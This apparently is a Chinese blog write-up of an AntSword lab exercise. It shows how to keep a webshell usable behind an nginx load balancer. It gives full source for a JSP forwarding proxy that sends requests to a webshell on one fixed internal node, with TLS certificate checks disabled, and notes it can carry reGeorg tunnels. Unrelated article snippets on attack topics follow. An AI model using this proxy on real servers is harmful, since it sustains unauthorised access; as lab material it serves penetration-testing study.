代码编织梦想

目录

架构如下:

实验环境:AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs

搭建环境:

启动环境:

 测试连接:

地址不停的在漂移会造成的问题:

难点一:我们需要在每一台节点的相同位置都上传相同内容的 WebShell:

难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行。

难点三:当我们需要上传一些工具时,麻烦来了:

难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案:

一:关掉其中一台机器

二:执行前先判断要不要执行

三: 在Web 层做一次 HTTP 流量转发 (重点)

具体操作:


架构如下:

假定业务中存在RCE漏洞,上传了 WebShell 之后, 因为负载均衡的存在, 导致后续上传的工具、执行命令等操作出现不连续的情况。

演示环境中, LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jsp【LBSNode1和LBSNode2 无法访问外网

Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:

实验环境:
AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs

搭建环境:

docker-compose build 

启动环境:

docker-compose up -d

 测试连接:

 用 "hostname -i" 发现地址不停的在漂移

地址不停的在漂移会造成的问题:

难点一:我们需要在每一台节点相同位置都上传相同内容的 WebShell:

一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要传一些工具时,麻烦来了

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案:

一:掉其中一台机器

这个方案影响业务,还会造成灾难,直接 Pass 不考虑。真实环境下千万不要尝试!!!!

二:执行前先判断要不要执行

我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
echo $MYIP

 这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑,一点美感都没有。另外,上传文件、HTTP 隧道 这些要怎么解决?

三: Web 层做一次 HTTP 流量转发 (重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。

首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

具体操作:

1.创建 antproxy.jsp 脚本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.18.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。

注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址。

我们将 target 指向了 LBSNode1 的 ant.jsp

注意:

a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

 多上传几次就成功了:【上传路径:/usr/local/tomcat/webapps/ROOT】

 2. 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

 3. 测试执行命令, 查看 IP

可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_59280309/article/details/128068664

【总结】计算机网络原理-爱代码爱编程

(本文只是自己的学习总结,不一定正确,仅供参考) 文章目录 计算机网络基础OSI参考模型实际网络架构网络接口层数据链路层网络层传输层应用层 管理机构 计算机网络五层架构网络接口层通信频谱无线电波-散射(网线

最详细linux运维面试题目_~上善若水~~的博客-爱代码爱编程

不 管 你 才 踏 出 社 会 ,还 是 已 久 经 沙 场 , 请 相 信 ,这 个 世 界 上 ,岁 月 对 每 个 人 都 是 公 平 的 , 1 天 都 是 24 个 小 时 ,一 分 钟 都 是 6 0 秒 。也

内网渗透之——内网转发(反弹shell、端口、代理)-爱代码爱编程

转发目的 渗透测试中,我们往往会面对十分复杂的内网环境,比如最常见的防火墙,它会限制特定端口的数据包出入,此时就需要内网转发 转发情景 1.A可以访问B的80端口,但是不能访问B的3389端口。 2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。 代理方式 正向代理: 正向代理是服务器开放端口,客户端主动

阿里ACP考试题(只供参考)-爱代码爱编程

** 本题是我20年12月份考试用的题,本人已过,但现在考试改革为线下,所以只供参考,是否有用自行分辨,只是个人总结而来,如有不当请与本人联系速删。 ** 阿里云负载均衡SLB实例中的后端服务器ECS实例需要设置权重,可以给对外服务能力更强的ECS实例设置更大的权重,这些ESC实例就会有机会处理更多的访问请求。在提供稳定服务的同时,充分的利用了已有资

OWASP top 10 漏洞-爱代码爱编程

**SQL Injection&Blind SQL Injection(SQL注入与SQL盲注漏洞): 一、绕过WAF的方法: 大小写绕过 简单编码绕过 注释绕过: 如?id=1 uni//on sele//ct 1,2,3 # 分隔重写绕过:适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un/

文件上传漏洞-爱代码爱编程

文件上传漏洞 在本节中,您将了解如何将简单的文件上传函数用作许多高严重性攻击的强大载体。我们将向您展示如何绕过常见的防御机制以上传 Web Shell,从而使您能够完全控制易受攻击的 Web 服务器。鉴于文件上传功能的常见程度,知道如何正确测试它们是必不可少的知识。 实验室 如果您已经熟悉文件上传漏洞背后的基本概念并且只想开始练习,您

web安全攻防渗透测试实战指南-爱代码爱编程

1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/target

重保或蓝方小知识-只针对首次-爱代码爱编程

0x0001 厂家设备的了解 需要先了解去的厂家使用的是什么设备 比如【微步】的【TDP】 【青藤】【HIDS】,对其监控的方向进行了解,【TDP】主要掌控的是主要的流量数据,对网页进行的具体数据访问检测,类似于sql,路径爆破等等,【HIDS】主要是对主机内部的监控,类似于本地提权或者webshell上传到本地了内部协议,还要agint(类似于webs

nginx高级课程扩容与高效_猪才有礼了的博客-爱代码爱编程

Nginx高级 第一部分:扩容 通过扩容提升整体吞吐量 1.单机垂直扩容:硬件资源增加 云服务资源增加 整机:IBM、浪潮、DELL、HP等 CPU/主板:更新到主流 网卡:10G/40G网卡 磁盘:SAS(SCSI) HDD(机械)、HHD(混合)、SATA SSD、PCI-e SSD、 MVMe SSD SSD 多副本机制 系统盘/热点数据/数据

nginx -爱代码爱编程

Nginx -- 高阶 Nginx高级 第一部分:扩容1.单机垂直扩容:硬件资源增加2.水平扩展:集群化会话管理Nginx高级负载均衡使用sticky模块完成对Nginx的负载均衡1.下载模块2.上传解压3.重

2022各大厂商护网面试题-爱代码爱编程

安恒信息蓝队初级面试题 一.owasp top10(2021年版本) 1.访问控制崩溃 风险描述:攻击者可通过修改URL,HTML页面绕过访问控制检查;或目录遍历,目录爬升和回溯进行未授权访问;越权访问(垂直越权、平行越权)敏感资源,冒充用户、管理员或拥有特权的用户,或者创建、访问、更新或删除任何记

portswigger 目录遍历&文件上传-爱代码爱编程

目录 <1> 目录遍历 什么是目录遍历? 通过目录遍历读取任意文件 (1) 去除了多余 URL 解码的遍历序列  (2) 非递归剥离的遍历序列 如何防止目录遍历攻击 <2> 文件上传漏洞 什么是文件上传漏洞? 漏洞影响 Web 服务器如何处理对静态文件的请求? (1)通过content-type限制绕过上传